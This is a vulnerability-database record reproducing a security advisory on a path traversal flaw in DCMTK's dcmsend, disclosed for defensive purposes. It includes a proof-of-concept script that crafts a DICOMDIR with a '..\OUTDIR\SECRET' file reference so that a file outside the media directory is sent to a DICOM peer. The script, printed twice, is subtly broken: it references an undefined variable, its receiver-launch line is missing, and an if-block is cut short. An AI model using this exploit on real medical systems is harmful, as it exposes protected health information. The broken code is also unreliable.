GCVE-1988-2026-0024
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-047
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Path traversal (CWE-22)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
DCMTK's dcmsend is vulnerable to path traversal when it is instructed to
read input files from a specially crafted DICOMDIR. This can lead to
unauthorized disclosure of readable DICOM objects, including protected
health information.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The dcmsend command line option --read-from-dicomdir (+rd) enables
DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file
is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the
referenced SOP instances to its transfer list.
The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()
in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset
for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to
host path separators with dicomToHostFilename(), and then combines the
result with the DICOMDIR directory:
const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),
pathName.usesWideChars());
OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,
OFTrue /* allowEmptyDirName */);
dicomToHostFilename() only replaces "\\" with the host path separator.
It does not reject ".." components, absolute paths, or other traversal
patterns. OFStandard::combineDirAndFilename() also does not canonicalize
the result or verify that the final path remains below the DICOMDIR
directory. Therefore, a ReferencedFileID such as "..\\OUTDIR\\SECRET"
becomes a host path like "MEDIA/../OUTDIR/SECRET".
The attack chain is as follows:
1. The attacker crafts a DICOMDIR with an IMAGE directory record whose
ReferencedFileID contains traversal components, for example
"..\\OUTDIR\\SECRET".
2. The same record contains ReferencedSOPClassUIDInFile,
ReferencedSOPInstanceUIDInFile, and
ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM
object.
3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the
crafted DICOMDIR.
4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR
location without rejecting the traversal.
5. dcmsend opens and transmits the traversed DICOM file to the
configured remote storage SCP.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
To demonstrate this security isssue, a PoC exploit was developed that
sends a DICOM file outside the media directory to an attacker when an
attacker-controlled DICOMDIR is used by dcmsend.
The crafted DICOMDIR contains a path traversal attack vector in
ReferencedFileID.
cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend
set -u
WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)"
MEDIA_DIR="${WORKDIR}/MEDIA"
OUTSIDE_DIR="${WORKDIR}/OUTDIR"
RECV_DIR="${WORKDIR}/recv"
TARGET_DUMP="${WORKDIR}/target.dump"
DICOMDIR="${MEDIA_DIR}/DICOMDIR"
TARGET_FILE="${OUTSIDE_DIR}/SECRET"
DCMSEND_LOG="${WORKDIR}/dcmsend.log"
STORESCP_LOG="${WORKDIR}/storescp.log"
cleanup()
{
if [ -n "${STORESCP_PID:-}" ]; then
kill "${STORESCP_PID}" 2>/dev/null || true
wait "${STORESCP_PID}" 2>/dev/null || true
fi
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
require_tool()
{
command -v "$1" >/dev/null 2>&1 || {
echo "[!] Missing required tool: $1"
exit 1
}
}
require_tool dump2dcm
require_tool dcmdump
require_tool dcmsend
require_tool storescp
require_tool python3
mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}"
cat > "${TARGET_DUMP}" <<'EOF'
# Dicom-File-Format
# Dicom-Meta-Information-Header
# Used TransferSyntax: Little Endian Explicit
(0002,0001) OB 00\01
(0002,0002) UI =SecondaryCaptureImageStorage
(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]
(0002,0010) UI =LittleEndianExplicit
(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]
(0002,0013) SH [H7POC]
# Dicom-Data-Set
# Used TransferSyntax: Little Endian Explicit
(0008,0005) CS [ISO_IR 100]
(0008,0016) UI =SecondaryCaptureImageStorage
(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]
(0008,0020) DA [20260630]
(0008,0030) TM [120000]
(0008,0060) CS [OT]
(0008,0064) CS [WSD]
(0010,0010) PN [POC^TRAVERSED]
(0010,0020) LO [H7DCMSEND]
(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]
(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]
(0020,0010) SH [1]
(0020,0011) IS [1]
(0020,0013) IS [1]
(0028,0002) US 1
(0028,0004) CS [MONOCHROME2]
(0028,0010) US 1
(0028,0011) US 1
(0028,0100) US 8
(0028,0101) US 8
(0028,0102) US 7
(0028,0103) US 0
(7fe0,0010) OB 00\00
EOF
dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1
python3 - "${DICOMDIR}" <<'PY'
import struct
import sys
out = sys.argv[1]
def even(value, pad=b" "):
return value if len(value) % 2 == 0 else value + pad
def elem(tag, vr, value):
group, element = tag
if isinstance(value, str):
value = value.encode("ascii")
if vr == "UI":
value = even(value, b"\0")
value = even(value, b" ")
data = struct.pack("<HH", group, element) + vr.encode("ascii")
if vr in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"):
data += b"\0\0" + struct.pack("<I", len(value))
else:
data += struct.pack("<H", len(value))
return data + value
def item(content):
return struct.pack("<HHI", 0xFFFE, 0xE000, len(content)) + content
sop_class = "1.2.840.10008.5.1.4.1.1.7"
sop_inst = "1.2.826.0.1.3680043.10.543.777.1"
transfer_syntax = "1.2.840.10008.1.2.1"
record = b"".join([
elem((0x0004, 0x1400), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1410), "US", struct.pack("<H", 0xFFFF)),
elem((0x0004, 0x1420), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1430), "CS", "IMAGE"),
elem((0x0004, 0x1500), "CS", r"..\OUTDIR\SECRET"),
elem((0x0004, 0x1510), "UI", sop_class),
elem((0x0004, 0x1511), "UI", sop_inst),
elem((0x0004, 0x1512), "UI", transfer_syntax),
])
dataset = b"".join([
elem((0x0004, 0x1130), "CS", "H7POC"),
elem((0x0004, 0x1200), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1202), "UL", struct.pack("<I", 0)),
elem((0x0004, 0x1212), "US", struct.pack("<H", 0)),
elem((0x0004, 0x1220), "SQ", item(record)),
])
meta_body = b"".join([
elem((0x0002, 0x0001), "OB", b"\0\1"),
elem((0x0002, 0x0002), "UI", "1.2.840.10008.1.3.10"),
elem((0x0002, 0x0003), "UI", "1.2.826.0.1.3680043.10.543.777.999"),
elem((0x0002, 0x0010), "UI", transfer_syntax),
elem((0x0002, 0x0012), "UI", "1.2.826.0.1.3680043.10.543.370"),
elem((0x0002, 0x0013), "SH", "H7POC"),
])
with open(out, "wb") as handle:
handle.write(b"\0" * 128 + b"DICM" + meta + dataset)
PY
PORT="$(python3 - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
)"
echo "[*] DICOMDIR is inside: ${MEDIA_DIR}"
echo "[*] Referenced target is outside: ${TARGET_FILE}"
echo "[*] DICOMDIR ReferencedFileID:"
dcmdump +P 0004,1500 "${DICOMDIR}"
STORESCP_PID=$!
sleep 1
set +e
dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1
RC=$?
set -e
sleep 1
kill "${STORESCP_PID}" 2>/dev/null || true
wait "${STORESCP_PID}" 2>/dev/null || true
STORESCP_PID=""
cat "${DCMSEND_LOG}"
RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)"
if [ "${RC}" -eq 0 ] &&
[ -n "${RECEIVED_FILE}" ] &&
dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}"
exit 0
fi
echo "[!] FAILED: traversal transmission was not verified"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC
A successful attack is indicated by output similar to the following:
./poc.sh
[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA
[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET
[*] DICOMDIR ReferencedFileID:
I: checking input files ...
I: starting association #1
I: initializing network ...
I: negotiating network association ...
I: Requesting Association
I: Association Accepted (Max Send PDV: 16372)
I: sending SOP instances ...
I: Sending C-STORE Request (MsgID 1, SC)
I: Received C-STORE Response (Success)
I: Releasing Association
I:
I: Status Summary
I: --------------
I: Number of associations : 1
I: Number of pres. contexts : 1
I: Number of SOP instances : 1
I: - sent to the peer : 1
I: * with status SUCCESS : 1
(0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName
(0010,0020) LO [H7DCMSEND] # 10, 1 PatientID
This demonstrates that dcmsend reads a file outside the DICOMDIR
directory and transmits it to the configured DICOM peer.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-047
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-047\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Path traversal (CWE-22)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s dcmsend is vulnerable to path traversal when it is instructed to\nread input files from a specially crafted DICOMDIR. This can lead to\nunauthorized disclosure of readable DICOM objects, including protected\nhealth information.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe dcmsend command line option --read-from-dicomdir (+rd) enables\nDcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file\nis not sent itself. Instead, dcmsend reads the DICOMDIR and adds the\nreferenced SOP instances to its transfer list.\n\nThe affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()\nin dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset\nfor ReferencedFileID (0004,1500) elements, converts DICOM backslashes to\nhost path separators with dicomToHostFilename(), and then combines the\nresult with the DICOMDIR directory:\n\n const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),\n pathName.usesWideChars());\n OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,\n OFTrue /* allowEmptyDirName */);\n\ndicomToHostFilename() only replaces \"\\\\\" with the host path separator.\nIt does not reject \"..\" components, absolute paths, or other traversal\npatterns. OFStandard::combineDirAndFilename() also does not canonicalize\nthe result or verify that the final path remains below the DICOMDIR\ndirectory. Therefore, a ReferencedFileID such as \"..\\\\OUTDIR\\\\SECRET\"\nbecomes a host path like \"MEDIA/../OUTDIR/SECRET\".\n\nThe attack chain is as follows:\n\n 1. The attacker crafts a DICOMDIR with an IMAGE directory record whose\n ReferencedFileID contains traversal components, for example\n \"..\\\\OUTDIR\\\\SECRET\".\n\n 2. The same record contains ReferencedSOPClassUIDInFile,\n ReferencedSOPInstanceUIDInFile, and\n ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM\n object.\n\n 3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the\n crafted DICOMDIR.\n\n 4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR\n location without rejecting the traversal.\n\n 5. dcmsend opens and transmits the traversed DICOM file to the\n configured remote storage SCP.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo demonstrate this security isssue, a PoC exploit was developed that\nsends a DICOM file outside the media directory to an attacker when an\nattacker-controlled DICOMDIR is used by dcmsend.\n\nThe crafted DICOMDIR contains a path traversal attack vector in\nReferencedFileID.\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend\n\nset -u\n\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)\"\nMEDIA_DIR=\"${WORKDIR}/MEDIA\"\nOUTSIDE_DIR=\"${WORKDIR}/OUTDIR\"\nRECV_DIR=\"${WORKDIR}/recv\"\nTARGET_DUMP=\"${WORKDIR}/target.dump\"\nDICOMDIR=\"${MEDIA_DIR}/DICOMDIR\"\nTARGET_FILE=\"${OUTSIDE_DIR}/SECRET\"\nDCMSEND_LOG=\"${WORKDIR}/dcmsend.log\"\nSTORESCP_LOG=\"${WORKDIR}/storescp.log\"\n\ncleanup()\n{\n if [ -n \"${STORESCP_PID:-}\" ]; then\n kill \"${STORESCP_PID}\" 2\u003e/dev/null || true\n wait \"${STORESCP_PID}\" 2\u003e/dev/null || true\n fi\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n echo \"[!] Missing required tool: $1\"\n exit 1\n }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmsend\nrequire_tool storescp\nrequire_tool python3\n\nmkdir -p \"${MEDIA_DIR}\" \"${OUTSIDE_DIR}\" \"${RECV_DIR}\"\n\ncat \u003e \"${TARGET_DUMP}\" \u003c\u003c\u0027EOF\u0027\n# Dicom-File-Format\n\n# Dicom-Meta-Information-Header\n# Used TransferSyntax: Little Endian Explicit\n(0002,0001) OB 00\\01\n(0002,0002) UI =SecondaryCaptureImageStorage\n(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0002,0010) UI =LittleEndianExplicit\n(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]\n(0002,0013) SH [H7POC]\n\n# Dicom-Data-Set\n# Used TransferSyntax: Little Endian Explicit\n(0008,0005) CS [ISO_IR 100]\n(0008,0016) UI =SecondaryCaptureImageStorage\n(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0008,0020) DA [20260630]\n(0008,0030) TM [120000]\n(0008,0060) CS [OT]\n(0008,0064) CS [WSD]\n(0010,0010) PN [POC^TRAVERSED]\n(0010,0020) LO [H7DCMSEND]\n(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]\n(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]\n(0020,0010) SH [1]\n(0020,0011) IS [1]\n(0020,0013) IS [1]\n(0028,0002) US 1\n(0028,0004) CS [MONOCHROME2]\n(0028,0010) US 1\n(0028,0011) US 1\n(0028,0100) US 8\n(0028,0101) US 8\n(0028,0102) US 7\n(0028,0103) US 0\n(7fe0,0010) OB 00\\00\nEOF\n\ndump2dcm \"${TARGET_DUMP}\" \"${TARGET_FILE}\" || exit 1\n\npython3 - \"${DICOMDIR}\" \u003c\u003c\u0027PY\u0027\nimport struct\nimport sys\n\nout = sys.argv[1]\n\ndef even(value, pad=b\" \"):\n return value if len(value) % 2 == 0 else value + pad\n\ndef elem(tag, vr, value):\n group, element = tag\n if isinstance(value, str):\n value = value.encode(\"ascii\")\n if vr == \"UI\":\n value = even(value, b\"\\0\")\n\n value = even(value, b\" \")\n data = struct.pack(\"\u003cHH\", group, element) + vr.encode(\"ascii\")\n if vr in (\"OB\", \"OD\", \"OF\", \"OL\", \"OW\", \"SQ\", \"UC\", \"UR\", \"UT\", \"UN\"):\n data += b\"\\0\\0\" + struct.pack(\"\u003cI\", len(value))\n else:\n data += struct.pack(\"\u003cH\", len(value))\n return data + value\n\ndef item(content):\n return struct.pack(\"\u003cHHI\", 0xFFFE, 0xE000, len(content)) + content\n\nsop_class = \"1.2.840.10008.5.1.4.1.1.7\"\nsop_inst = \"1.2.826.0.1.3680043.10.543.777.1\"\ntransfer_syntax = \"1.2.840.10008.1.2.1\"\n\nrecord = b\"\".join([\n elem((0x0004, 0x1400), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1410), \"US\", struct.pack(\"\u003cH\", 0xFFFF)),\n elem((0x0004, 0x1420), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1430), \"CS\", \"IMAGE\"),\n elem((0x0004, 0x1500), \"CS\", r\"..\\OUTDIR\\SECRET\"),\n elem((0x0004, 0x1510), \"UI\", sop_class),\n elem((0x0004, 0x1511), \"UI\", sop_inst),\n elem((0x0004, 0x1512), \"UI\", transfer_syntax),\n])\n\ndataset = b\"\".join([\n elem((0x0004, 0x1130), \"CS\", \"H7POC\"),\n elem((0x0004, 0x1200), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1202), \"UL\", struct.pack(\"\u003cI\", 0)),\n elem((0x0004, 0x1212), \"US\", struct.pack(\"\u003cH\", 0)),\n elem((0x0004, 0x1220), \"SQ\", item(record)),\n])\n\nmeta_body = b\"\".join([\n elem((0x0002, 0x0001), \"OB\", b\"\\0\\1\"),\n elem((0x0002, 0x0002), \"UI\", \"1.2.840.10008.1.3.10\"),\n elem((0x0002, 0x0003), \"UI\", \"1.2.826.0.1.3680043.10.543.777.999\"),\n elem((0x0002, 0x0010), \"UI\", transfer_syntax),\n elem((0x0002, 0x0012), \"UI\", \"1.2.826.0.1.3680043.10.543.370\"),\n elem((0x0002, 0x0013), \"SH\", \"H7POC\"),\n])\n\n\nwith open(out, \"wb\") as handle:\n handle.write(b\"\\0\" * 128 + b\"DICM\" + meta + dataset)\nPY\n\nPORT=\"$(python3 - \u003c\u003c\u0027PY\u0027\nimport socket\ns = socket.socket()\ns.bind((\"127.0.0.1\", 0))\nprint(s.getsockname()[1])\ns.close()\nPY\n)\"\n\necho \"[*] DICOMDIR is inside: ${MEDIA_DIR}\"\necho \"[*] Referenced target is outside: ${TARGET_FILE}\"\necho \"[*] DICOMDIR ReferencedFileID:\"\ndcmdump +P 0004,1500 \"${DICOMDIR}\"\n\n\nSTORESCP_PID=$!\nsleep 1\n\nset +e\ndcmsend -v +rd 127.0.0.1 \"${PORT}\" \"${DICOMDIR}\" \u003e\"${DCMSEND_LOG}\" 2\u003e\u00261\nRC=$?\nset -e\nsleep 1\nkill \"${STORESCP_PID}\" 2\u003e/dev/null || true\nwait \"${STORESCP_PID}\" 2\u003e/dev/null || true\nSTORESCP_PID=\"\"\n\ncat \"${DCMSEND_LOG}\"\n\nRECEIVED_FILE=\"$(find \"${RECV_DIR}\" -type f | head -n 1)\"\nif [ \"${RC}\" -eq 0 ] \u0026\u0026\n [ -n \"${RECEIVED_FILE}\" ] \u0026\u0026\n\n dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 \"${RECEIVED_FILE}\"\n exit 0\nfi\n\necho \"[!] FAILED: traversal transmission was not verified\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\nA successful attack is indicated by output similar to the following:\n\n./poc.sh\n[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA\n[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET\n[*] DICOMDIR ReferencedFileID:\n\nI: checking input files ...\nI: starting association #1\nI: initializing network ...\nI: negotiating network association ...\nI: Requesting Association\nI: Association Accepted (Max Send PDV: 16372)\nI: sending SOP instances ...\nI: Sending C-STORE Request (MsgID 1, SC)\nI: Received C-STORE Response (Success)\nI: Releasing Association\nI:\nI: Status Summary\nI: --------------\nI: Number of associations : 1\nI: Number of pres. contexts : 1\nI: Number of SOP instances : 1\nI: - sent to the peer : 1\nI: * with status SUCCESS : 1\n\n(0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName\n(0010,0020) LO [H7DCMSEND] # 10, 1 PatientID\n\n\nThis demonstrates that dcmsend reads a file outside the DICOMDIR\ndirectory and transmits it to the configured DICOM peer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-047\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/25"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/25"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0024",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25",
"automated": true,
"contentSha256": "8df56d4e1b9f1913f32da9589f0d40c0947e245e305e38afff962dfca7df1892",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T07:59:40Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0024"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…